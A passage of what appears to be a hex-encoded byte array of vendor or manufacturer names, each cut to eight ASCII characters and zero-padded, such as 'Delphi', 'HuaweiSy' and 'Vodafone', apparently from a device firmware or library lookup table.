0x67, 0x2d, 0x48, 0x77,\r\n0x53, 0x6f, 0x63, 0x69, 0x61, 0x6c, 0x41, 0x69,\r\n0x53, 0x65, 0x6e, 0x73, 0x79, 0x73, 0x54, 0x72,\r\n0x44, 0x65, 0x6c, 0x70, 0x68, 0x69, 0x00, 0x00,\r\n0x48, 0x75, 0x61, 0x77, 0x65, 0x69, 0x53, 0x79,\r\n0x58, 0x74, 0x72, 0x61, 0x6d, 0x75, 0x73, 0x54,\r\n0x53, 0x6f, 0x6e, 0x79, 0x43, 0x6f, 0x6d, 0x70,\r\n0x54, 0x79, 0x63, 0x6f, 0x45, 0x6c, 0x65, 0x63,\r\n0x4f, 0x75, 0x6d, 0x61, 0x6e, 0x4f, 0x79, 0x00,\r\n0x54, 0x65, 0x6c, 0x65, 0x73, 0x69, 0x73, 0x54,\r\n0x4d, 0x61, 0x74, 0x74, 0x65, 0x6c, 0x00, 0x00,\r\n0x53, 0x61, 0x66, 0x65, 0x74, 0x79, 0x56, 0x69,\r\n0x45, 0x6c, 0x62, 0x69, 0x74, 0x00, 0x00, 0x00,\r\n0x34, 0x72, 0x66, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x53, 0x65, 0x69, 0x53, 0x50, 0x41, 0x00, 0x00,\r\n0x4e, 0x6f, 0x76, 0x69, 0x74, 0x61, 0x00, 0x00,\r\n0x53, 0x75, 0x70, 0x65, 0x72, 0x66, 0x6c, 0x6f,\r\n0x47, 0x73, 0x73, 0x47, 0x72, 0x75, 0x6e, 0x64,\r\n0x4e, 0x6f, 0x72, 0x63, 0x6f, 0x74, 0x74, 0x00,\r\n0x41, 0x6e, 0x61, 0x6c, 0x6f, 0x67, 0x69, 0x78,\r\n0x48, 0x75, 0x74, 0x68, 0x45, 0x6c, 0x65, 0x6b,\r\n0x42, 0x65, 0x79, 0x65, 0x72, 0x64, 0x79, 0x6e,\r\n0x4a, 0x64, 0x73, 0x75, 0x46, 0x72, 0x61, 0x6e,\r\n0x53, 0x69, 0x65, 0x61, 0x6d, 0x70, 0x47, 0x72,\r\n0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x74,\r\n0x5a, 0x65, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54,\r\n0x45, 0x70, 0x72, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x66, 0x6f, 0x72, 0x73, 0x6f, 0x6e,\r\n0x53, 0x75, 0x74, 0x75, 0x73, 0x00, 0x00, 0x00,\r\n0x53, 0x65, 0x67, 0x67, 0x65, 0x72, 0x4d, 0x69,\r\n0x4c, 0x65, 0x6e, 0x6f, 0x72, 0x64, 0x42, 0x61,\r\n0x41, 0x6e, 0x76, 0x69, 0x7a, 0x42, 0x69, 0x6f,\r\n0x49, 0x6f, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x00,\r\n0x53, 0x63, 0x69, 0x6c, 0x6f, 0x67, 0x00, 0x00,\r\n0x41, 0x72, 0x65, 0x64, 0x54, 0x65, 0x63, 0x68,\r\n0x50, 0x6c, 0x61, 0x6e, 0x65, 0x78, 0x43, 0x6f,\r\n0x50, 0x6f, 0x6c, 0x61, 0x72, 0x45, 0x6c, 0x65,\r\n0x41, 0x6c, 0x62, 0x72, 0x65, 0x63, 0x68, 0x74,\r\n0x41, 0x6c, 0x6c, 0x45, 0x61, 0x72, 0x74, 0x68,\r\n0x48, 0x75, 0x62, 0x2d, 0x54, 0x65, 0x63, 0x68,\r\n0x43, 0x6f, 0x6d, 0x77, 0x6f, 0x72, 0x74, 0x68,\r\n0x45, 0x61, 0x74, 0x6f, 0x6e, 0x45, 0x6c, 0x65,\r\n0x43, 0x79, 0x70, 0x61, 0x6b, 0x00, 0x00, 0x00,\r\n0x46, 0x6f, 0x72, 0x74, 0x65, 0x78, 0x49, 0x6e,\r\n0x41, 0x6e, 0x61, 0x74, 0x65, 0x6b, 0x4c, 0x6c,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x6c, 0x6f, 0x67,\r\n0x56, 0x69, 0x67, 0x69, 0x6c, 0x48, 0x65, 0x61,\r\n0x50, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x74, 0x61,\r\n0x4f, 0x70, 0x70, 0x6f, 0x44, 0x69, 0x67, 0x69,\r\n0x54, 0x61, 0x6d, 0x75, 0x7a, 0x4d, 0x6f, 0x6e,\r\n0x41, 0x74, 0x6c, 0x61, 0x6e, 0x74, 0x69, 0x63,\r\n0x5a, 0x6f, 0x72, 0x74, 0x4c, 0x61, 0x62, 0x73,\r\n0x57, 0x61, 0x62, 0x74, 0x65, 0x63, 0x54, 0x72,\r\n0x41, 0x6d, 0x65, 0x72, 0x69, 0x67, 0x6f, 0x6e,\r\n0x41, 0x70, 0x61, 0x73, 0x73, 0x54, 0x65, 0x63,\r\n0x46, 0x69, 0x73, 0x68, 0x65, 0x72, 0x2d, 0x52,\r\n0x57, 0x70, 0x73, 0x50, 0x61, 0x72, 0x6b, 0x69,\r\n0x41, 0x70, 0x70, 0x6c, 0x69, 0x74, 0x69, 0x6f,\r\n0x50, 0x72, 0x6f, 0x76, 0x69, 0x73, 0x69, 0x6f,\r\n0x52, 0x75, 0x73, 0x74, 0x65, 0x6c, 0x63, 0x6f,\r\n0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x73, 0x70,\r\n0x49, 0x64, 0x65, 0x61, 0x6c, 0x62, 0x74, 0x54,\r\n0x54, 0x73, 0x69, 0x50, 0x6f, 0x77, 0x65, 0x72,\r\n0x41, 0x6c, 0x67, 0x6f, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x49, 0x77, 0x64, 0x6c, 0x54, 0x65, 0x63, 0x68,\r\n0x33, 0x47, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x41,\r\n0x53, 0x75, 0x6e, 0x70, 0x6f, 0x77, 0x65, 0x72,\r\n0x41, 0x6d, 0x70, 0x61, 0x6b, 0x54, 0x65, 0x63,\r\n0x53, 0x79, 0x72, 0x61, 0x63, 0x75, 0x73, 0x65,\r\n0x43, 0x6f, 0x6e, 0x63, 0x65, 0x70, 0x74, 0x72,\r\n0x50, 0x69, 0x6d, 0x61, 0x45, 0x6c, 0x65, 0x63,\r\n0x50, 0x6f, 0x6c, 0x6c, 0x69, 0x6e, 0x45, 0x6c,\r\n0x4e, 0x69, 0x76, 0x69, 0x73, 0x4c, 0x6c, 0x63,\r\n0x43, 0x61, 0x79, 0x65, 0x65, 0x43, 0x6f, 0x6d,\r\n0x57, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x54, 0x65,\r\n0x43, 0x6f, 0x62, 0x61, 0x6c, 0x74, 0x44, 0x69,\r\n0x4c, 0x69, 0x74, 0x65, 0x2d, 0x4f, 0x6e, 0x49,\r\n0x4a, 0x61, 0x6e, 0x61, 0x6d, 0x54, 0x65, 0x63,\r\n0x41, 0x72, 0x62, 0x75, 0x72, 0x67, 0x00, 0x00,\r\n0x43, 0x6c, 0x6f, 0x76, 0x65, 0x72, 0x45, 0x6c,\r\n0x47, 0x6f, 0x72, 0x62, 0x61, 0x00, 0x00, 0x00,\r\n0x48, 0x69, 0x72, 0x73, 0x63, 0x68, 0x45, 0x6c,\r\n0x4c, 0x6e, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x47, 0x6c, 0x6f, 0x73, 0x63, 0x6f, 0x6d, 0x00,\r\n0x51, 0x6f, 0x6f, 0x6c, 0x54, 0x65, 0x63, 0x68,\r\n0x4b, 0x69, 0x73, 0x61, 0x6e, 0x45, 0x6c, 0x65,\r\n0x4c, 0x61, 0x73, 0x65, 0x72, 0x63, 0x72, 0x61,\r\n0x53, 0x69, 0x65, 0x6c, 0x6f, 0x78, 0x4c, 0x6c,\r\n0x49, 0x74, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x61, 0x6e, 0x61, 0x68, 0x65, 0x72, 0x4d,\r\n0x46, 0x6f, 0x75, 0x72, 0x69, 0x65, 0x72, 0x00,\r\n0x44, 0x65, 0x6c, 0x74, 0x61, 0x63, 0x6f, 0x6d,\r\n0x43, 0x65, 0x7a, 0x7a, 0x65, 0x72, 0x4d, 0x75,\r\n0x47, 0x75, 0x61, 0x6e, 0x67, 0x64, 0x61, 0x45,\r\n0x4e, 0x69, 0x63, 0x69, 0x72, 0x61, 0x4e, 0x65,\r\n0x41, 0x76, 0x69, 0x74, 0x65, 0x63, 0x68, 0x49,\r\n0x4b, 0x69, 0x73, 0x73, 0x54, 0x65, 0x6b, 0x6e,\r\n0x5a, 0x79, 0x6c, 0x69, 0x6e, 0x41, 0x73, 0x00,\r\n0x49, 0x6f, 0x6c, 0x61, 0x6e, 0x00, 0x00, 0x00,\r\n0x53, 0x68, 0x6f, 0x75, 0x79, 0x6f, 0x45, 0x6c,\r\n0x41, 0x6c, 0x63, 0x6f, 0x6e, 0x54, 0x65, 0x6c,\r\n0x44, 0x64, 0x72, 0x64, 0x72, 0x69, 0x76, 0x65,\r\n0x45, 0x6f, 0x6e, 0x61, 0x73, 0x49, 0x74, 0x2d,\r\n0x49, 0x72, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x72,\r\n0x53, 0x61, 0x6e, 0x64, 0x66, 0x6f, 0x72, 0x63,\r\n0x4b, 0x65, 0x64, 0x61, 0x68, 0x45, 0x6c, 0x65,\r\n0x44, 0x69, 0x7a, 0x69, 0x70, 0x69, 0x61, 0x00,\r\n0x4c, 0x69, 0x6e, 0x6b, 0x66, 0x6c, 0x65, 0x78,\r\n0x4d, 0x65, 0x74, 0x65, 0x6c, 0x53, 0x52, 0x4f,\r\n0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x53, 0x74,\r\n0x4f, 0x6a, 0x2d, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x43, 0x2d, 0x4d, 0x61, 0x74, 0x69, 0x63, 0x00,\r\n0x41, 0x6c, 0x66, 0x6c, 0x65, 0x78, 0x00, 0x00,\r\n0x4c, 0x61, 0x69, 0x72, 0x64, 0x54, 0x65, 0x63,\r\n0x50, 0x75, 0x72, 0x65, 0x63, 0x68, 0x6f, 0x69,\r\n0x4d, 0x69, 0x78, 0x74, 0x65, 0x6c, 0x65, 0x6d,\r\n0x43, 0x6f, 0x66, 0x66, 0x65, 0x65, 0x45, 0x71,\r\n0x54, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x56, 0x65, 0x73, 0x74, 0x61, 0x63, 0x00, 0x00,\r\n0x48, 0x65, 0x6c, 0x6d, 0x68, 0x6f, 0x6c, 0x74,\r\n0x49, 0x6e, 0x79, 0x75, 0x61, 0x6e, 0x54, 0x65,\r\n0x4b, 0x74, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4c, 0x75, 0x6d, 0x69, 0x6e, 0x6f, 0x75, 0x73,\r\n0x4c, 0x79, 0x6e, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x44, 0x61, 0x74, 0x61, 0x73, 0x65, 0x6e, 0x73,\r\n0x46, 0x45, 0x54, 0x45, 0x6c, 0x65, 0x74, 0x74,\r\n0x4b, 0x69, 0x6e, 0x63, 0x6f, 0x41, 0x75, 0x74,\r\n0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x46, 0x6f,\r\n0x50, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x6f, 0x74,\r\n0x53, 0x79, 0x73, 0x74, 0x65, 0x6c, 0x53, 0x61,\r\n0x47, 0x75, 0x6c, 0x66, 0x73, 0x74, 0x72, 0x65,\r\n0x41, 0x70, 0x72, 0x69, 0x75, 0x73, 0x00, 0x00,\r\n0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x4d,\r\n0x4c, 0x6f, 0x6f, 0x6b, 0x69, 0x74, 0x54, 0x65,\r\n0x55, 0x6e, 0x69, 0x67, 0x65, 0x6e, 0x00, 0x00,\r\n0x47, 0x6f, 0x6c, 0x64, 0x6c, 0x69, 0x6e, 0x65,\r\n0x5a, 0x68, 0x75, 0x68, 0x61, 0x69, 0x52, 0x61,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x49, 0x6e, 0x73,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x53,\r\n0x55, 0x6e, 0x69, 0x63, 0x6f, 0x6e, 0x74, 0x72,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x72, 0x67, 0x00,\r\n0x58, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65,\r\n0x52, 0x65, 0x73, 0x6d, 0x65, 0x64, 0x00, 0x00,\r\n0x42, 0x75, 0x72, 0x73, 0x74, 0x65, 0x72, 0x00,\r\n0x44, 0x61, 0x71, 0x53, 0x79, 0x73, 0x74, 0x65,\r\n0x53, 0x6f, 0x61, 0x6d, 0x53, 0x79, 0x73, 0x74,\r\n0x4d, 0x6f, 0x72, 0x65, 0x53, 0x74, 0x61, 0x72,\r\n0x47, 0x72, 0x69, 0x64, 0x69, 0x72, 0x6f, 0x6e,\r\n0x49, 0x73, 0x6f, 0x74, 0x65, 0x6b, 0x45, 0x6c,\r\n0x55, 0x6e, 0x69, 0x6f, 0x6e, 0x42, 0x75, 0x73,\r\n0x52, 0x69, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x57, 0x68, 0x64, 0x69, 0x4c, 0x6c, 0x63, 0x00,\r\n0x4e, 0x65, 0x6f, 0x74, 0x69, 0x6f, 0x6e, 0x00,\r\n0x45, 0x6c, 0x73, 0x74, 0x65, 0x72, 0x00, 0x00,\r\n0x4e, 0x61, 0x6e, 0x6f, 0x74, 0x65, 0x71, 0x00,\r\n0x4c, 0x65, 0x6e, 0x67, 0x64, 0x61, 0x54, 0x65,\r\n0x4c, 0x69, 0x68, 0x52, 0x6f, 0x6e, 0x67, 0x45,\r\n0x49, 0x6e, 0x6d, 0x61, 0x67, 0x65, 0x00, 0x00,\r\n0x47, 0x67, 0x68, 0x45, 0x6e, 0x67, 0x69, 0x6e,\r\n0x41, 0x6e, 0x74, 0x69, 0x70, 0x6f, 0x64, 0x65,\r\n0x54, 0x6f, 0x75, 0x72, 0x41, 0x6e, 0x64, 0x65,\r\n0x54, 0x68, 0x69, 0x6e, 0x6b, 0x66, 0x6c, 0x6f,\r\n0x56, 0x54, 0x54, 0x65, 0x6c, 0x65, 0x6d, 0x61,\r\n0x43, 0x69, 0x65, 0x6e, 0x61, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x44, 0x65,\r\n0x4e, 0x69, 0x64, 0x65, 0x63, 0x43, 0x6f, 0x70,\r\n0x41, 0x6c, 0x67, 0x6f, 0x6c, 0x77, 0x61, 0x72,\r\n0x4d, 0x61, 0x78, 0x69, 0x61, 0x6e, 0x00, 0x00,\r\n0x50, 0x72, 0x6f, 0x74, 0x65, 0x75, 0x73, 0x49,\r\n0x41, 0x6a, 0x69, 0x6e, 0x65, 0x78, 0x74, 0x65,\r\n0x53, 0x61, 0x6d, 0x6a, 0x65, 0x6f, 0x6e, 0x00,\r\n0x41, 0x6e, 0x64, 0x65, 0x73, 0x54, 0x65, 0x63,\r\n0x56, 0x75, 0x74, 0x6c, 0x61, 0x6e, 0x53, 0x72,\r\n0x45, 0x61, 0x73, 0x79, 0x64, 0x61, 0x74, 0x61,\r\n0x4d, 0x61, 0x70, 0x6f, 0x77, 0x65, 0x72, 0x45,\r\n0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x4c,\r\n0x48, 0x61, 0x6e, 0x61, 0x43, 0x6e, 0x73, 0x00,\r\n0x54, 0x72, 0x65, 0x6e, 0x64, 0x45, 0x6c, 0x65,\r\n0x4e, 0x65, 0x77, 0x43, 0x6f, 0x6e, 0x63, 0x65,\r\n0x53, 0x61, 0x67, 0x65, 0x74, 0x76, 0x4c, 0x6c,\r\n0x45, 0x2d, 0x4d, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x52, 0x65, 0x64, 0x70, 0x69, 0x6e, 0x65, 0x53,\r\n0x4d, 0x61, 0x72, 0x73, 0x68, 0x61, 0x6c, 0x6c,\r\n0x48, 0x66, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x58, 0x6d, 0x61, 0x72, 0x6b, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x6d, 0x78, 0x69, 0x6f, 0x6e, 0x54,\r\n0x4c, 0x6f, 0x6e, 0x67, 0x63, 0x68, 0x65, 0x65,\r\n0x4c, 0x79, 0x79, 0x6e, 0x00, 0x00, 0x00, 0x00,\r\n0x4f, 0x72, 0x74, 0x61, 0x6e, 0x61, 0x00, 0x00,\r\n0x53, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x65,\r\n0x51, 0x2d, 0x4c, 0x69, 0x67, 0x68, 0x74, 0x00,\r\n0x53, 0x69, 0x63, 0x68, 0x75, 0x61, 0x6e, 0x4a,\r\n0x41, 0x69, 0x72, 0x62, 0x75, 0x73, 0x44, 0x65,\r\n0x43, 0x68, 0x72, 0x6f, 0x6d, 0x61, 0x00, 0x00,\r\n0x53, 0x63, 0x68, 0x6d, 0x69, 0x74, 0x74, 0x49,\r\n0x45, 0x71, 0x2d, 0x53, 0x79, 0x73, 0x00, 0x00,\r\n0x4d, 0x61, 0x69, 0x6e, 0x70, 0x69, 0x6e, 0x65,\r\n0x42, 0x72, 0x6f, 0x61, 0x64, 0x77, 0x61, 0x79,\r\n0x53, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x61,\r\n0x4c, 0x6f, 0x67, 0x6d, 0x65, 0x69, 0x6e, 0x00,\r\n0x4c, 0x75, 0x78, 0x4c, 0x75, 0x6d, 0x65, 0x6e,\r\n0x52, 0x61, 0x64, 0x69, 0x61, 0x74, 0x69, 0x6f,\r\n0x53, 0x6d, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x76, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d,\r\n0x54, 0x65, 0x61, 0x6d, 0x2d, 0x52, 0x00, 0x00,\r\n0x53, 0x69, 0x63, 0x68, 0x75, 0x61, 0x6e, 0x54,\r\n0x42, 0x65, 0x68, 0x69, 0x6e, 0x64, 0x53, 0x65,\r\n0x4b, 0x69, 0x74, 0x61, 0x44, 0x65, 0x6e, 0x73,\r\n0x43, 0x75, 0x6d, 0x6d, 0x69, 0x6e, 0x73, 0x2d,\r\n0x55, 0x6e, 0x69, 0x6c, 0x6f, 0x63, 0x55, 0x73,\r\n0x54, 0x72, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x68, 0x61, 0x6e, 0x64, 0x45, 0x6c,\r\n0x41, 0x69, 0x72, 0x6c, 0x69, 0x6e, 0x6b, 0x57,\r\n0x57, 0x61, 0x72, 0x65, 0x6d, 0x61, 0x45, 0x6c,\r\n0x42, 0x61, 0x6c, 0x6c, 0x2d, 0x49, 0x74, 0x4f,\r\n0x42, 0x61, 0x6e, 0x6e, 0x65, 0x72, 0x45, 0x6e,\r\n0x53, 0x61, 0x78, 0x6e, 0x65, 0x74, 0x00, 0x00,\r\n0x42, 0x65, 0x6e, 0x65, 0x69, 0x6e, 0x00, 0x00,\r\n0x45, 0x6c, 0x67, 0x69, 0x6e, 0x53, 0x41, 0x00,\r\n0x41, 0x6e, 0x73, 0x79, 0x6e, 0x63, 0x00, 0x00,\r\n0x49, 0x6e, 0x6f, 0x54, 0x68, 0x65, 0x72, 0x61,\r\n0x43, 0x61, 0x76, 0x65, 0x6e, 0x61, 0x49, 0x6d,\r\n0x53, 0x65, 0x61, 0x53, 0x69, 0x67, 0x6e, 0x61,\r\n0x49, 0x70, 0x6e, 0x65, 0x63, 0x74, 0x00, 0x00,\r\n0x49, 0x70, 0x61, 0x78, 0x69, 0x6f, 0x6d, 0x4e,\r\n0x50, 0x69, 0x72, 0x6b, 0x75, 0x73, 0x00, 0x00,\r\n0x48, 0x69, 0x6e, 0x6b, 0x65, 0x00, 0x00, 0x00,\r\n0x44, 0x65, 0x6d, 0x63, 0x6f, 0x00, 0x00, 0x00,\r\n0x5a, 0x75, 0x65, 0x6e, 0x64, 0x53, 0x79, 0x73,\r\n0x54, 0x76, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x00,\r\n0x47, 0x6c, 0x6f, 0x63, 0x6f, 0x6d, 0x00, 0x00,\r\n0x4d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x6e, 0x61,\r\n0x57, 0x69, 0x6c, 0x6f, 0x53, 0x65, 0x00, 0x00,\r\n0x53, 0x6f, 0x66, 0x74, 0x77, 0x65, 0x6c, 0x6c,\r\n0x44, 0x6f, 0x75, 0x62, 0x6c, 0x65, 0x2d, 0x54,\r\n0x52, 0x67, 0x4e, 0x65, 0x74, 0x73, 0x00, 0x00,\r\n0x49, 0x70, 0x44, 0x61, 0x74, 0x61, 0x74, 0x65,\r\n0x55, 0x6c, 0x74, 0x72, 0x61, 0x53, 0x74, 0x65,\r\n0x41, 0x66, 0x74, 0x41, 0x74, 0x6c, 0x61, 0x73,\r\n0x42, 0x69, 0x6f, 0x64, 0x65, 0x76, 0x69, 0x63,\r\n0x4f, 0x70, 0x2d, 0x54, 0x65, 0x63, 0x74, 0x69,\r\n0x44, 0x69, 0x6c, 0x6f, 0x67, 0x4e, 0x6f, 0x72,\r\n0x50, 0x6f, 0x69, 0x6e, 0x74, 0x6d, 0x6f, 0x62,\r\n0x54, 0x65, 0x6c, 0x65, 0x6d, 0x53, 0x61, 0x73,\r\n0x54, 0x6f, 0x72, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x55, 0x73, 0x42, 0x65, 0x76, 0x65, 0x72, 0x61,\r\n0x44, 0x65, 0x6c, 0x65, 0x63, 0x00, 0x00, 0x00,\r\n0x4f, 0x6e, 0x65, 0x70, 0x61, 0x74, 0x68, 0x4e,\r\n0x49, 0x73, 0x68, 0x69, 0x69, 0x54, 0x6f, 0x6f,\r\n0x4e, 0x75, 0x65, 0x74, 0x65, 0x71, 0x54, 0x65,\r\n0x50, 0x68, 0x61, 0x72, 0x6d, 0x61, 0x73, 0x6d,\r\n0x42, 0x65, 0x6e, 0x69, 0x67, 0x6e, 0x54, 0x65,\r\n0x4d, 0x61, 0x67, 0x6e, 0x65, 0x74, 0x69, 0x63,\r\n0x41, 0x6e, 0x79, 0x55, 0x73, 0x65, 0x00, 0x00,\r\n0x4e, 0x65, 0x78, 0x74, 0x77, 0x61, 0x76, 0x65,\r\n0x52, 0x65, 0x64, 0x42, 0x65, 0x65, 0x74, 0x6c,\r\n0x49, 0x77, 0x6f, 0x77, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x46, 0x75, 0x67, 0x61, 0x6e, 0x67, 0x45, 0x6c,\r\n0x44, 0x63, 0x74, 0x2d, 0x44, 0x65, 0x6c, 0x74,\r\n0x4e, 0x65, 0x74, 0x75, 0x70, 0x00, 0x00, 0x00,\r\n0x4b, 0x6e, 0x61, 0x70, 0x70, 0x4c, 0x6f, 0x67,\r\n0x41, 0x63, 0x65, 0x41, 0x78, 0x69, 0x73, 0x00,\r\n0x4e, 0x6f, 0x68, 0x6d, 0x69, 0x42, 0x6f, 0x73,\r\n0x53, 0x73, 0x69, 0x43, 0x6f, 0x6d, 0x70, 0x75,\r\n0x45, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x69, 0x63,\r\n0x4d, 0x6b, 0x4d, 0x61, 0x73, 0x74, 0x65, 0x72,\r\n0x48, 0x69, 0x74, 0x74, 0x69, 0x74, 0x65, 0x4d,\r\n0x44, 0x61, 0x74, 0x61, 0x73, 0x74, 0x72, 0x69,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6e, 0x00, 0x00,\r\n0x52, 0x75, 0x62, 0x79, 0x54, 0x65, 0x63, 0x68,\r\n0x55, 0x6e, 0x69, 0x2d, 0x56, 0x00, 0x00, 0x00,\r\n0x4e, 0x65, 0x6f, 0x73, 0x74, 0x61, 0x72, 0x54,\r\n0x4c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x73, 0x6f,\r\n0x57, 0x69, 0x64, 0x65, 0x00, 0x00, 0x00, 0x00,\r\n0x4c, 0x75, 0x64, 0x6c, 0x45, 0x6c, 0x65, 0x63,\r\n0x43, 0x73, 0x73, 0x69, 0x53, 0x50, 0x74, 0x65,\r\n0x53, 0x41, 0x41, 0x41, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x6d, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x41,\r\n0x53, 0x74, 0x6f, 0x72, 0x77, 0x69, 0x7a, 0x65,\r\n0x48, 0x61, 0x6c, 0x6f, 0x4d, 0x6f, 0x6e, 0x69,\r\n0x57, 0x61, 0x6e, 0x7a, 0x6c, 0x4d, 0x65, 0x74,\r\n0x41, 0x78, 0x6f, 0x6e, 0x61, 0x00, 0x00, 0x00,\r\n0x4d, 0x6d, 0x62, 0x52, 0x65, 0x73, 0x65, 0x61,\r\n0x4b, 0x61, 0x7a, 0x74, 0x65, 0x6b, 0x00, 0x00,\r\n0x53, 0x70, 0x69, 0x64, 0x65, 0x72, 0x63, 0x6c,\r\n0x53, 0x68, 0x65, 0x6e, 0x5a, 0x68, 0x65, 0x6e,\r\n0x56, 0x6f, 0x79, 0x61, 0x6e, 0x74, 0x49, 0x6e,\r\n0x50, 0x65, 0x72, 0x63, 0x65, 0x70, 0x74, 0x72,\r\n0x53, 0x6f, 0x6c, 0x61, 0x72, 0x74, 0x72, 0x6f,\r\n0x52, 0x61, 0x64, 0x63, 0x68, 0x69, 0x70, 0x73,\r\n0x41, 0x73, 0x61, 0x6e, 0x74, 0x72, 0x6f, 0x6e,\r\n0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x53,\r\n0x49, 0x6e, 0x69, 0x74, 0x72, 0x61, 0x44, 0x4f,\r\n0x4d, 0x75, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x42,\r\n0x50, 0x61, 0x42, 0x61, 0x73, 0x74, 0x69, 0x6f,\r\n0x52, 0x61, 0x69, 0x64, 0x6f, 0x6e, 0x54, 0x65,\r\n0x44, 0x65, 0x73, 0x69, 0x67, 0x6e, 0x2d, 0x43,\r\n0x54, 0x65, 0x72, 0x62, 0x65, 0x72, 0x67, 0x42,\r\n0x48, 0x69, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e,\r\n0x56, 0x69, 0x6e, 0x65, 0x54, 0x65, 0x6c, 0x65,\r\n0x47, 0x69, 0x61, 0x76, 0x61, 0x6c, 0x53, 0x63,\r\n0x53, 0x68, 0x69, 0x6e, 0x57, 0x61, 0x6e, 0x67,\r\n0x52, 0x61, 0x79, 0x7a, 0x6f, 0x6e, 0x65, 0x00,\r\n0x50, 0x68, 0x79, 0x62, 0x72, 0x69, 0x64, 0x67,\r\n0x42, 0x72, 0x69, 0x64, 0x67, 0x65, 0x54, 0x65,\r\n0x45, 0x6c, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x00,\r\n0x55, 0x6e, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x4e,\r\n0x41, 0x6f, 0x63, 0x49, 0x6e, 0x74, 0x65, 0x72,\r\n0x53, 0x75, 0x6d, 0x61, 0x76, 0x69, 0x73, 0x69,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x44, 0x6f, 0x6f,\r\n0x53, 0x6f, 0x6c, 0x69, 0x64, 0x59, 0x65, 0x61,\r\n0x43, 0x6f, 0x76, 0x69, 0x61, 0x00, 0x00, 0x00,\r\n0x57, 0x65, 0x69, 0x6e, 0x7a, 0x69, 0x65, 0x72,\r\n0x50, 0x68, 0x69, 0x68, 0x6f, 0x6e, 0x67, 0x55,\r\n0x4f, 0x6e, 0x64, 0x61, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x41, 0x75, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x68,\r\n0x46, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x4d, 0x75,\r\n0x52, 0x65, 0x64, 0x72, 0x69, 0x76, 0x65, 0x6e,\r\n0x41, 0x75, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x63,\r\n0x43, 0x6f, 0x6d, 0x70, 0x61, 0x73, 0x73, 0x53,\r\n0x54, 0x61, 0x70, 0x54, 0x76, 0x00, 0x00, 0x00,\r\n0x54, 0x69, 0x62, 0x62, 0x6f, 0x54, 0x65, 0x63,\r\n0x4d, 0x61, 0x67, 0x54, 0x65, 0x63, 0x68, 0x45,\r\n0x4f, 0x70, 0x74, 0x65, 0x63, 0x44, 0x69, 0x73,\r\n0x46, 0x75, 0x59, 0x69, 0x43, 0x68, 0x65, 0x6e,\r\n0x4d, 0x65, 0x74, 0x65, 0x6f, 0x63, 0x6f, 0x6e,\r\n0x42, 0x61, 0x6e, 0x67, 0x41, 0x6e, 0x64, 0x4f,\r\n0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x72,\r\n0x44, 0x65, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x72,\r\n0x42, 0x6c, 0x61, 0x63, 0x6b, 0x62, 0x6f, 0x61,\r\n0x43, 0x65, 0x6e, 0x74, 0x72, 0x65, 0x46, 0x6f,\r\n0x56, 0x6f, 0x64, 0x61, 0x66, 0x6f, 0x6e, 0x65,\r\n0x4b, 0x61, 0x67, 0x61, 0x45, 0x6c, 0x65, 